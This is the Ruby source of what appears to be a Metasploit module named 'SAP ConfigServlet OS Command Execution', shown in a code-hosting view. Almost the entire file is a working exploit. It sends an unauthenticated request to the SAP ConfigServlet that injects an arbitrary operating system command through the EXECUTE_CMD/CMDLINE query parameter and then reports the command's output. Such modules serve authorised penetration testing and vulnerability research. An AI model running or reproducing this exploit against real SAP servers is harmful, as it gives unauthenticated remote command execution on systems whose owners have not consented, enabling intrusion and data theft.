69 lines
2.3 KiB
Ruby
69 lines
2.3 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'SAP ConfigServlet OS Command Execution',
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'Description' => %q{
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This module allows execution of operating system commands through the SAP
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ConfigServlet without any authentication.
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},
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'Author' =>
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[
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'Dmitry Chastuhin', # Vulnerability discovery (based on the reference presentation)
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'Andras Kabai' # Metasploit module
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'OSVDB', '92704' ],
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[ 'EDB', '24963' ],
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[ 'URL', 'http://erpscan.com/wp-content/uploads/2012/11/Breaking-SAP-Portal-HackerHalted-2012.pdf']
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],
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'DisclosureDate' => 'Nov 01 2012' # Based on the reference presentation
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))
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register_options(
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[
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Opt::RPORT(50000),
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OptString.new('CMD', [ true, 'The command to execute', 'whoami']),
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OptString.new('TARGETURI', [ true, 'Path to ConfigServlet', '/ctc/servlet'])
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])
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end
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def run
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begin
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print_status("#{rhost}:#{rport} - Sending remote command: " + datastore['CMD'])
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uri = normalize_uri(target_uri.path, 'ConfigServlet')
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res = send_request_cgi(
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{
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'uri' => uri,
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'method' => 'GET',
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'query' => 'param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=' + Rex::Text::uri_encode(datastore['CMD'])
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})
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if !res or res.code != 200
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print_error("#{rhost}:#{rport} - Exploit failed")
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return
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end
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rescue ::Rex::ConnectionError
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print_error("#{rhost}:#{rport} - Failed to connect to the server")
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return
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end
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if res.body.include?("Process created")
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print_good("#{rhost}:#{rport} - Exploited successfully\n")
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print_line("#{rhost}:#{rport} - Command: #{datastore['CMD']}\n")
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print_line("#{rhost}:#{rport} - Output: #{res.body}")
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else
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print_error("#{rhost}:#{rport} - Exploit failed")
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vprint_error("#{rhost}:#{rport} - Output: #{res.body}")
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end
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end
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end
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